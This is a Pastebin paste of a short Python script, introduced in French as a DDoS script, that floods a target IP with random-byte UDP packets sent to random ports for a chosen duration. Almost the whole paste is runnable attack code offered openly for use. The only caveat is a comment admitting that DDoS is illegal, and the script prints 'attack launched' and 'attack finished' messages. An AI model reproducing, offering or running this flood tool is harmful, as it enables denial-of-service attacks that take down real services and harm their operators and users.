Guest User

Script DDoS Python

a guest
Feb 11th, 2017
1,705
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.08 KB | None | 0 0
  1. Hello je vous présente un Script DDoS Python by Advanced !
  2.  
  3. #UTF-8
  4. #!/usr/bin/python
  5. #Le DDoS est illégal !.
  6.  
  7. import socket,random,sys,time
  8.  
  9. if len(sys.argv) != 4:
  10. print("Windows : py udp.py [Ip] [Bytes] [Time]")
  11. print("Linux : python udp.py [Ip] [Bytes] [Time]")
  12. print("Script Python UDP By Advanced")
  13. sys.exit(1)
  14.  
  15. qIP = sys.argv[1]
  16. qPSize = int(sys.argv[2])
  17. qDuration = int(sys.argv[3])
  18. qClock = (lambda:0, time.clock)[qDuration > 0]
  19. qDuration = (1, (qClock() + qDuration))[qDuration > 0]
  20. qPacket = random._urandom(qPSize)
  21. qSocket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  22.  
  23. print("Script UDP By Advanced")
  24. print("Lancement de l'attaque sur %s avec %s bytes pendant %s secondes" % (qIP, qPSize, qDuration or 'Infinite'))
  25.  
  26. while True:
  27. if (qClock() < qDuration):
  28. qPort = random.randint(1, 65535)
  29. qSocket.sendto(qPacket, (qIP, qPort))
  30. else:
  31. break
  32. print("=====================================================================================")
  33. print("Attaque fini")
Advertisement
Add Comment
Please, Sign In to add comment